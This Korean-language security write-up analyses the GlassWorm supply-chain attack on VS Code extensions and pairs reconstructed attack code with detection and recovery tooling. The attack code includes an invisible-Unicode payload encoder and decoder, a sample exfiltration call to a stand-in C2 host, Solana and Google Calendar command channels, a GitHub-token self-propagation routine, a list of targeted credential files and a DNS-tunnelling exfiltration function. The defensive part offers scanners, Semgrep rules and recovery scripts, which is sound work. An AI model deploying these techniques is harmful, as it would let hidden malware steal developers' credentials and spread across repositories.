GlassWorm 공급망 공격 분석: VS Code 확장의 보이지 않는 위협과 개발 환경 보안 전략

// 유니코드 변이 선택자의 기본 원리
// U+FE00 ~ U+FE0F: Variation Selectors (16개)
// U+E0100 ~ U+E01EF: Supplementary Variation Selectors (240개)

// 예시: 동일한 한자의 다른 표현
const char1 = '\u8FD1\uFE00' // 近 + VS1 (일본식)
const char2 = '\u8FD1\uFE01' // 近 + VS2 (중국식)

// 두 문자는 시각적으로 다를 수 있지만,
// VS 자체는 렌더링되지 않는 제로 폭 문자
console.log('\uFE00'.length) // 1 (문자는 존재하지만 보이지 않음)

// GlassWorm 인코딩 방식 재현 (보안 연구 목적)
// 원본 악성 코드의 각 바이트를 비가시 유니코드 문자로 변환

function encodeToInvisible(payload) {
  const encoded = []
  for (let i = 0; i < payload.length; i++) {
    const byte = payload.charCodeAt(i)
    // 상위 4비트 -> Variation Selector (U+FE00 + nibble)
    const highNibble = (byte >> 4) & 0x0f
    encoded.push(String.fromCharCode(0xfe00 + highNibble))
    // 하위 4비트 -> PUA 문자 (U+E0100 + nibble)
    const lowNibble = byte & 0x0f
    // 보충 문자는 서로게이트 페어로 인코딩
    encoded.push(String.fromCodePoint(0xe0100 + lowNibble))
  }
  return encoded.join('')
}

function decodeFromInvisible(invisible) {
  const decoded = []
  let i = 0
  while (i < invisible.length) {
    const highChar = invisible.codePointAt(i)
    i += highChar > 0xffff ? 2 : 1
    const lowChar = invisible.codePointAt(i)
    i += lowChar > 0xffff ? 2 : 1
    const highNibble = (highChar - 0xfe00) & 0x0f
    const lowNibble = (lowChar - 0xe0100) & 0x0f
    decoded.push(String.fromCharCode((highNibble << 4) | lowNibble))
  }
  return decoded.join('')
}

// 사용 예시
const maliciousCode = 'fetch("https://c2.example.com/exfil",{method:"POST"})'
const invisible = encodeToInvisible(maliciousCode)
console.log(invisible.length) // 길이가 있지만...
console.log(invisible.trim()) // 화면에는 아무것도 보이지 않음

// 감염된 extension.js의 구조 (단순화)
const vscode = require('vscode')

function activate(context) {
  // 정상적인 확장 기능 코드
  let disposable = vscode.commands.registerCommand('myext.helloWorld', function () {
    vscode.window.showInformationMessage('Hello World!')
  })
  context.subscriptions.push(disposable)

  // 아래 빈 줄들 사이에 보이지 않는 유니코드 문자로
  // 인코딩된 악성 페이로드가 숨겨져 있음
  // (에디터에서는 빈 공간으로 보임)
  const _ = '\u200B' // ZWS 앵커 문자 뒤에 수백 개의 VS/PUA 문자열

  // 디코더: 정상적인 유틸리티 함수로 위장
  function normalizeText(input) {
    // 실제로는 은닉된 페이로드를 디코딩하여 실행
    const chars = Array.from(input)
    const filtered = chars.filter((c) => c.codePointAt(0) >= 0xfe00)
    // ... 디코딩 및 eval 실행
  }
}

function deactivate() {}

module.exports = { activate, deactivate }

# 기존 정적 분석 도구의 한계 시연
import re

# 일반적인 악성 코드 탐지 패턴
suspicious_patterns = [
    r'eval\s*\(',
    r'Function\s*\(',
    r'require\s*\(\s*["\']child_process["\']\s*\)',
    r'exec\s*\(',
    r'fetch\s*\(\s*["\']https?://',
]

# 감염된 파일 내용 (유니코드 은닉 적용)
infected_content = '''
const vscode = require('vscode');
function activate(context) {
  let disposable = vscode.commands.registerCommand('myext.hello', function() {
    vscode.window.showInformationMessage('Hello!');
  });
  context.subscriptions.push(disposable);
}
module.exports = { activate };
'''
# 주의: 실제 감염 파일에는 위 코드 사이사이에
# 수백 개의 비가시 유니코드 문자가 삽입되어 있음

for pattern in suspicious_patterns:
    match = re.search(pattern, infected_content)
    print(f"Pattern '{pattern}': {'DETECTED' if match else 'CLEAN'}")
    # 모든 패턴에서 CLEAN으로 판정됨
    # 악성 코드가 유니코드로 인코딩되어 있어 정규식에 걸리지 않음

// Solana 블록체인 C2 채널 메커니즘 (분석용 재현)
// 공격자는 Solana 트랜잭션의 memo 필드에 명령을 인코딩

// 1단계: 공격자가 Solana에 명령 트랜잭션 발행
// memo 필드: base64 인코딩된 JSON 명령
// 예: eyJjbWQiOiJleGZpbCIsInRhcmdldCI6Ii5zc2gifQ==
// 디코딩: {"cmd":"exfil","target":".ssh"}

// 2단계: 감염된 확장이 Solana RPC로 트랜잭션 조회
async function fetchC2Commands(walletAddress) {
  const response = await fetch('https://api.mainnet-beta.solana.com', {
    method: 'POST',
    headers: { 'Content-Type': 'application/json' },
    body: JSON.stringify({
      jsonrpc: '2.0',
      id: 1,
      method: 'getSignaturesForAddress',
      params: [walletAddress, { limit: 10 }],
    }),
  })

  const data = await response.json()
  // 트랜잭션에서 memo 필드 추출 후 디코딩
  return data.result.map((tx) => decodeCommand(tx.memo))
}

// 3단계: 명령 실행
function executeCommand(cmd) {
  switch (cmd.type) {
    case 'exfil':
      // 인증정보 수집 및 전송
      exfiltrateCredentials(cmd.target)
      break
    case 'proxy':
      // SOCKS 프록시 활성화
      startSocksProxy(cmd.port)
      break
    case 'spread':
      // 자가 전파 실행
      propagateToRepos(cmd.scope)
      break
  }
}

// Google Calendar C2 백업 채널 메커니즘
// 공격자가 공유 캘린더의 이벤트 설명에 명령을 삽입

async function fetchCalendarCommands(calendarId, apiKey) {
  const now = new Date().toISOString()
  const url =
    `https://www.googleapis.com/calendar/v3/calendars/` +
    `${encodeURIComponent(calendarId)}/events` +
    `?key=${apiKey}` +
    `&timeMin=${now}` +
    `&maxResults=5` +
    `&orderBy=startTime` +
    `&singleEvents=true`

  const response = await fetch(url)
  const data = await response.json()

  return data.items
    .filter((event) => event.description)
    .map((event) => {
      // 이벤트 설명에서 base64 인코딩된 명령 추출
      const match = event.description.match(/\[config:([A-Za-z0-9+/=]+)\]/)
      if (match) {
        return JSON.parse(atob(match[1]))
      }
      return null
    })
    .filter(Boolean)
}

[감염된 개발자 환경]
        |
        v
[1. GitHub Token 탈취]
        |
        v
[2. 개발자의 저장소 목록 조회]
        |
        v
[3. 각 저장소의 package.json / .vscode/extensions.json 수정]
        |
        v
[4. 악성 확장 의존성 추가 커밋]
        |
        v
[5. 다른 개발자가 저장소 클론 시 감염 확장 자동 설치 권유]
        |
        v
[6. 새로운 개발자 환경 감염 -> 1단계로 반복]

// 자가 전파 메커니즘 (분석용 단순화)
async function propagate(githubToken) {
  const headers = {
    Authorization: `token ${githubToken}`,
    Accept: 'application/vnd.github.v3+json',
  }

  // 1. 사용자의 모든 저장소 조회
  const repos = await fetch('https://api.github.com/user/repos?per_page=100', {
    headers,
  }).then((r) => r.json())

  for (const repo of repos) {
    // 2. .vscode/extensions.json 확인 또는 생성
    try {
      const extensionsFile = await fetch(
        `https://api.github.com/repos/${repo.full_name}/contents/.vscode/extensions.json`,
        { headers }
      ).then((r) => r.json())

      const content = JSON.parse(Buffer.from(extensionsFile.content, 'base64').toString())

      // 3. 악성 확장이 이미 포함되어 있는지 확인
      const maliciousExtId = 'publisher.innocent-looking-extension'
      if (content.recommendations && !content.recommendations.includes(maliciousExtId)) {
        content.recommendations.push(maliciousExtId)

        // 4. 수정된 파일 커밋
        await fetch(
          `https://api.github.com/repos/${repo.full_name}/contents/.vscode/extensions.json`,
          {
            method: 'PUT',
            headers,
            body: JSON.stringify({
              message: 'chore: update recommended extensions',
              content: Buffer.from(JSON.stringify(content, null, 2)).toString('base64'),
              sha: extensionsFile.sha,
            }),
          }
        )
      }
    } catch (e) {
      // 파일이 없으면 새로 생성
      // ...
    }
  }
}

# npm은 2022년부터 mandatory 2FA와 provenance attestation 도입
# VS Code 마켓플레이스는 아직 이에 준하는 보안 체계 미비

# npm provenance 확인 예시
npm audit signatures
# 출력: audited 150 packages in 2s
# 150 packages have verified registry signatures

# VS Code 확장에는 이에 해당하는 명령이 없음
# 확장의 무결성을 검증할 수 있는 공식 도구가 부재

// 브라우저 확장의 권한 선언 (Chrome Extension Manifest V3)
{
  "permissions": ["activeTab", "storage"],
  "host_permissions": ["https://api.example.com/*"]
}

// VS Code 확장에는 이런 세분화된 권한 모델이 없음
// package.json의 "activationEvents"는 기능적 트리거일 뿐

// 보안 경계(security boundary)를 형성하지 않음

#!/usr/bin/env python3
"""
GlassWorm 유니코드 은닉 탐지 스크립트
비가시 유니코드 문자의 비정상적 집중을 탐지한다.
"""
import os
import sys
from pathlib import Path
from collections import Counter

# 의심스러운 유니코드 범위
SUSPICIOUS_RANGES = [
    (0xFE00, 0xFE0F, "Variation Selectors"),
    (0xE0100, 0xE01EF, "Supplementary Variation Selectors"),
    (0xE000, 0xF8FF, "Private Use Area"),
    (0xF0000, 0xFFFFF, "Supplementary PUA-A"),
    (0x100000, 0x10FFFD, "Supplementary PUA-B"),
    (0x200B, 0x200F, "Zero-Width Characters"),
    (0x2028, 0x202F, "General Punctuation (invisible)"),
    (0x2060, 0x206F, "Invisible Formatting"),
    (0xFEFF, 0xFEFF, "BOM / Zero-Width No-Break Space"),
]

def scan_file(filepath):
    """파일에서 의심스러운 유니코드 문자를 스캔한다."""
    findings = []
    try:
        with open(filepath, 'r', encoding='utf-8') as f:
            content = f.read()
    except (UnicodeDecodeError, PermissionError):
        return findings

    suspicious_count = Counter()
    line_findings = {}

    for line_num, line in enumerate(content.split('\n'), 1):
        for char in line:
            cp = ord(char)
            for start, end, name in SUSPICIOUS_RANGES:
                if start <= cp <= end:
                    suspicious_count[name] += 1
                    if line_num not in line_findings:
                        line_findings[line_num] = []
                    line_findings[line_num].append(
                        f"U+{cp:04X} ({name})"
                    )

    # 임계값: 파일 크기 대비 비가시 문자 비율
    total_suspicious = sum(suspicious_count.values())
    if total_suspicious > 10:  # 기본 임계값
        ratio = total_suspicious / max(len(content), 1)
        severity = "CRITICAL" if ratio > 0.01 else "WARNING"
        findings.append({
            'file': str(filepath),
            'severity': severity,
            'total_suspicious': total_suspicious,
            'ratio': f"{ratio:.4%}",
            'breakdown': dict(suspicious_count),
            'affected_lines': dict(
                list(line_findings.items())[:10]
            ),
        })

    return findings

def scan_directory(directory, extensions=None):
    """디렉토리를 재귀적으로 스캔한다."""
    if extensions is None:
        extensions = {'.js', '.ts', '.json', '.mjs', '.cjs'}

    all_findings = []
    path = Path(directory)

    for filepath in path.rglob('*'):
        if filepath.suffix in extensions and filepath.is_file():
            findings = scan_file(filepath)
            all_findings.extend(findings)

    return all_findings

if __name__ == '__main__':
    target = sys.argv[1] if len(sys.argv) > 1 else '.'
    findings = scan_directory(target)

    if findings:
        print(f"\n[ALERT] {len(findings)} suspicious file(s) found:\n")
        for f in findings:
            print(f"  [{f['severity']}] {f['file']}")
            print(f"    Suspicious chars: {f['total_suspicious']}")
            print(f"    Ratio: {f['ratio']}")
            print(f"    Breakdown: {f['breakdown']}")
            print()
    else:
        print("[OK] No suspicious Unicode patterns detected.")

#!/bin/bash
# .git/hooks/pre-commit
# 커밋 전 유니코드 은닉 문자 자동 검사

echo "Scanning for suspicious Unicode characters..."

# 스테이징된 파일 목록
FILES=$(git diff --cached --name-only --diff-filter=ACM | grep -E '\.(js|ts|json|mjs|cjs)$')

if [ -z "$FILES" ]; then
  exit 0
fi

FOUND=0

for FILE in $FILES; do
  # Variation Selectors 검사 (U+FE00-FE0F)
  if perl -ne 'print if /[\x{FE00}-\x{FE0F}\x{E0100}-\x{E01EF}]/' "$FILE" | grep -q .; then
    echo "[BLOCKED] Suspicious Variation Selectors found in: $FILE"
    FOUND=1
  fi

  # PUA 문자 검사 (U+E000-F8FF)
  if perl -ne 'print if /[\x{E000}-\x{F8FF}]/' "$FILE" | grep -q .; then
    echo "[WARNING] Private Use Area characters found in: $FILE"
    # PUA는 일부 정상 사용이 있으므로 경고만
  fi

  # Zero-width 문자 과다 사용 검사
  ZW_COUNT=$(perl -ne 'print while /[\x{200B}-\x{200F}\x{2060}-\x{206F}\x{FEFF}]/g' "$FILE" | wc -c)
  if [ "$ZW_COUNT" -gt 20 ]; then
    echo "[BLOCKED] Excessive zero-width characters ($ZW_COUNT) in: $FILE"
    FOUND=1
  fi
done

if [ "$FOUND" -eq 1 ]; then
  echo ""
  echo "Commit blocked: Suspicious Unicode patterns detected."
  echo "If these are intentional, use --no-verify to bypass."
  exit 1
fi

echo "Unicode scan passed."
exit 0

// .vscode/settings.json - 팀 차원의 보안 설정
{
  // 확장 자동 업데이트 비활성화
  "extensions.autoUpdate": false,

  // 확장 설치 시 확인 요구
  "extensions.autoCheckUpdates": true,

  // 비가시 유니코드 문자 시각화
  "editor.unicodeHighlight.ambiguousCharacters": true,
  "editor.unicodeHighlight.invisibleCharacters": true,
  "editor.unicodeHighlight.nonBasicASCII": true,

  // 유니코드 문자 허용 범위 제한
  "editor.unicodeHighlight.allowedLocales": {
    "ko": true,
    "ja": true
  },

  // 터미널에서의 유니코드 경고
  "terminal.integrated.unicodeVersion": "11",

  // 워크스페이스 신뢰 설정
  "security.workspace.trust.enabled": true,
  "security.workspace.trust.startupPrompt": "always",
  "security.workspace.trust.untrustedFiles": "prompt"
}

# .github/workflows/unicode-security-scan.yml
name: Unicode Security Scan

on:
  pull_request:
    paths:
      - '**.js'
      - '**.ts'
      - '**.json'
      - '**.mjs'
  push:
    branches: [main, develop]

jobs:
  unicode-scan:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4

      - name: Install scanner dependencies
        run: pip install unicode-security-scanner

      - name: Scan for invisible Unicode characters
        run: |
          python scripts/unicode_scanner.py . \
            --extensions .js,.ts,.json,.mjs,.cjs \
            --threshold 10 \
            --severity critical \
            --output report.json

      - name: Check scan results
        run: |
          if [ -f report.json ]; then
            CRITICAL=$(python -c "
          import json
          with open('report.json') as f:
              data = json.load(f)
          print(sum(1 for r in data if r['severity'] == 'CRITICAL'))
          ")
            if [ "$CRITICAL" -gt 0 ]; then
              echo "CRITICAL: Found $CRITICAL files with suspicious Unicode"
              exit 1
            fi
          fi

      - name: Upload scan report
        if: always()
        uses: actions/upload-artifact@v4
        with:
          name: unicode-scan-report
          path: report.json

# .semgrep/glassworm-detection.yml
rules:
  - id: suspicious-unicode-variation-selectors
    patterns:
      - pattern-regex: '[\uFE00-\uFE0F]'
    message: >
      Detected Unicode Variation Selector characters that may indicate
      GlassWorm-style code obfuscation. Review this file carefully.
    severity: ERROR
    languages: [javascript, typescript]
    metadata:
      category: security
      technology: [vscode-extension]
      cwe: 'CWE-506: Embedded Malicious Code'
      references:
        - https://owasp.org/www-community/attacks/Supply_Chain_Attack

  - id: suspicious-unicode-pua
    patterns:
      - pattern-regex: '[\uE000-\uF8FF]'
    message: >
      Detected Private Use Area Unicode characters. These are rarely
      used in legitimate code and may indicate obfuscation.
    severity: WARNING
    languages: [javascript, typescript]

  - id: suspicious-eval-from-string-manipulation
    patterns:
      - pattern: |
          $FUNC = $STR.split(...).map(...).join(...)
          ...
          eval($FUNC)
    message: >
      Detected eval() called on string manipulation result.
      This pattern is commonly used to execute obfuscated code.
    severity: ERROR
    languages: [javascript, typescript]

  - id: solana-rpc-call-in-extension
    patterns:
      - pattern: |
          fetch("=~/.*solana.*mainnet.*/", ...)
    message: >
      Detected Solana blockchain RPC call. VS Code extensions
      should not normally interact with blockchain networks.
    severity: ERROR
    languages: [javascript, typescript]

  - id: credential-file-access
    patterns:
      - pattern: |
          $FS.readFileSync("=~/.*\.(ssh|aws|gcp|npmrc).*/", ...)
    message: >
      Detected access to credential files. This is a common
      exfiltration technique in supply chain attacks.
    severity: ERROR
    languages: [javascript, typescript]

// GlassWorm이 탐색하는 인증정보 경로 (분석 결과)
const TARGET_CREDENTIALS = [
  // Git 관련
  { path: '~/.gitconfig', type: 'git-config' },
  { path: '~/.git-credentials', type: 'git-credentials' },

  // SSH
  { path: '~/.ssh/id_rsa', type: 'ssh-private-key' },
  { path: '~/.ssh/id_ed25519', type: 'ssh-private-key' },
  { path: '~/.ssh/config', type: 'ssh-config' },

  // AWS
  { path: '~/.aws/credentials', type: 'aws-credentials' },
  { path: '~/.aws/config', type: 'aws-config' },

  // GCP
  {
    path: '~/.config/gcloud/application_default_credentials.json',
    type: 'gcp-credentials',
  },

  // Azure
  { path: '~/.azure/accessTokens.json', type: 'azure-tokens' },

  // npm
  { path: '~/.npmrc', type: 'npm-token' },

  // Docker
  { path: '~/.docker/config.json', type: 'docker-credentials' },

  // Kubernetes
  { path: '~/.kube/config', type: 'kubeconfig' },

  // VS Code 자체
  {
    path: '~/.vscode/extensions/*/credentials.json',
    type: 'vscode-extension-creds',
  },
]

// 데이터 전송은 여러 채널을 통해 분산 전송
// DNS 터널링을 통한 소량 데이터 유출
async function exfilViaDNS(data, domain) {
  const chunks = chunkData(data, 63) // DNS 라벨 최대 길이
  for (const chunk of chunks) {
    // DNS 조회를 가장한 데이터 전송
    // chunk.encoded-data.c2domain.com
    try {
      await fetch(`https://dns.google/resolve?name=${chunk}.${domain}&type=TXT`)
    } catch (e) {
      // 실패해도 조용히 무시
    }
    // 탐지 회피를 위한 랜덤 딜레이
    await sleep(Math.random() * 5000 + 1000)
  }
}

#!/bin/bash
# glassworm-check.sh - GlassWorm 감염 여부 확인 스크립트

echo "=== GlassWorm Infection Check ==="
echo ""

# 1. 설치된 VS Code 확장 목록 확인
echo "[1/5] Checking installed extensions..."
EXTENSIONS=$(code --list-extensions --show-versions 2>/dev/null)
if [ -z "$EXTENSIONS" ]; then
  echo "  VS Code CLI not available. Check manually."
else
  # 알려진 감염 확장 목록 (예시)
  KNOWN_MALICIOUS=(
    "fake-publisher.theme-darkplus-enhanced"
    "fake-publisher.prettier-format-plus"
    "fake-publisher.eslint-advanced"
  )
  for ext in "${KNOWN_MALICIOUS[@]}"; do
    if echo "$EXTENSIONS" | grep -qi "$ext"; then
      echo "  [CRITICAL] Known malicious extension found: $ext"
    fi
  done
  echo "  Extension check complete."
fi

# 2. 최근 변경된 확장 파일 확인
echo ""
echo "[2/5] Checking recently modified extension files..."
VSCODE_EXT_DIR="$HOME/.vscode/extensions"
if [ -d "$VSCODE_EXT_DIR" ]; then
  find "$VSCODE_EXT_DIR" -name "*.js" -mtime -7 -type f | head -20
else
  echo "  Extension directory not found at $VSCODE_EXT_DIR"
fi

# 3. 비정상 네트워크 연결 확인
echo ""
echo "[3/5] Checking suspicious network connections..."
if command -v lsof &> /dev/null; then
  lsof -i -P -n 2>/dev/null | grep -E "(solana|googleapis.*calendar)" | head -10
fi

# 4. Git 설정 변조 확인
echo ""
echo "[4/5] Checking git configuration integrity..."
if [ -f "$HOME/.git-credentials" ]; then
  echo "  [WARNING] .git-credentials file exists - verify its contents"
  stat "$HOME/.git-credentials" | grep "Modify"
fi

# 5. SSH 키 최근 접근 확인
echo ""
echo "[5/5] Checking SSH key access times..."
if [ -d "$HOME/.ssh" ]; then
  ls -la "$HOME/.ssh/" | grep -E "id_rsa|id_ed25519"
fi

echo ""
echo "=== Check Complete ==="
echo "If any CRITICAL findings, proceed to recovery steps immediately."

#!/bin/bash
# glassworm-recovery.sh - 감염 시 긴급 복구 스크립트

echo "=== GlassWorm Recovery Procedure ==="
echo "[WARNING] This will revoke credentials and reinstall VS Code."
echo ""
read -p "Continue? (yes/no): " CONFIRM
if [ "$CONFIRM" != "yes" ]; then
  echo "Aborted."
  exit 0
fi

# 1. GitHub 토큰 즉시 폐기
echo "[1/6] Revoking GitHub tokens..."
echo "  -> Go to https://github.com/settings/tokens and revoke ALL tokens"
echo "  -> Enable SSO re-authorization if applicable"
echo "  Press Enter when done..."
read

# 2. SSH 키 교체
echo "[2/6] Rotating SSH keys..."
if [ -f "$HOME/.ssh/id_ed25519" ]; then
  mv "$HOME/.ssh/id_ed25519" "$HOME/.ssh/id_ed25519.compromised.bak"
  mv "$HOME/.ssh/id_ed25519.pub" "$HOME/.ssh/id_ed25519.pub.compromised.bak"
fi
ssh-keygen -t ed25519 -C "recovery-$(date +%Y%m%d)" -f "$HOME/.ssh/id_ed25519"
echo "  -> Upload new public key to GitHub/GitLab"

# 3. AWS 자격 증명 교체
echo "[3/6] Rotating AWS credentials..."
if command -v aws &> /dev/null; then
  echo "  Current identity:"
  aws sts get-caller-identity 2>/dev/null
  echo "  -> Rotate access keys via AWS IAM Console"
  echo "  -> Revoke all active sessions"
fi

# 4. VS Code 확장 정리
echo "[4/6] Cleaning VS Code extensions..."
VSCODE_EXT_DIR="$HOME/.vscode/extensions"
if [ -d "$VSCODE_EXT_DIR" ]; then
  echo "  Backing up extension list..."
  code --list-extensions > "$HOME/vscode-extensions-backup.txt" 2>/dev/null
  echo "  Removing all extensions..."
  rm -rf "$VSCODE_EXT_DIR"/*
  echo "  Reinstall trusted extensions from backup list manually."
fi

# 5. npm 토큰 교체
echo "[5/6] Revoking npm tokens..."
if [ -f "$HOME/.npmrc" ]; then
  echo "  -> Run: npm token revoke <token>"
  echo "  -> Generate new token: npm token create"
fi

# 6. Git 저장소 감사
echo "[6/6] Auditing git repositories..."
echo "  Check recent commits in all repositories for unauthorized changes:"
echo "  Look for modifications to:"
echo "    - .vscode/extensions.json"
echo "    - package.json (new dependencies)"
echo "    - .github/workflows/ (new workflows)"

echo ""
echo "=== Recovery Complete ==="
echo "NEXT STEPS:"
echo "1. Enable 2FA on all accounts if not already enabled"
echo "2. Review GitHub audit log: https://github.com/settings/security-log"
echo "3. Report incident to your security team"
echo "4. Monitor accounts for suspicious activity for 30 days"

// 예방 설정
{
  "extensions.autoUpdate": false,
  "extensions.autoCheckUpdates": true
  // autoCheckUpdates는 알림만 제공, 자동 설치하지 않음
}

# CODEOWNERS 파일에 .vscode/ 경로에 대한 보안 리뷰어 지정
# .github/CODEOWNERS
.vscode/ @security-team
.github/workflows/ @security-team @devops-team
package.json @tech-lead @security-team

# 잘못된 사례: 개인 토큰을 CI/CD에 직접 사용
# github-actions workflow 내
# env:
#   GITHUB_TOKEN: 개인 PAT (위험!)

# 올바른 사례: 전용 서비스 계정 + 최소 권한
# 1. CI/CD 전용 GitHub App 생성
# 2. 필요한 최소 권한만 부여 (예: contents:read, packages:write)
# 3. 토큰 자동 갱신 활성화

# 1. 설치된 확장 감사
code --list-extensions --show-versions > ~/my-extensions.txt

# 2. 의심스러운 확장 식별
# 다운로드 수가 적고, 최근 업데이트된 확장에 주의
# Open VSX에서만 제공되는 확장 특히 주의

# 3. VS Code 보안 설정 적용
# settings.json에 아래 설정 추가
code --install-extension ms-vscode.vscode-unicode-highlight

# 4. 정기적 인증정보 로테이션
# GitHub: 90일마다 토큰 갱신
# SSH: 분기별 키 로테이션
# AWS: IAM 정책으로 90일 강제 갱신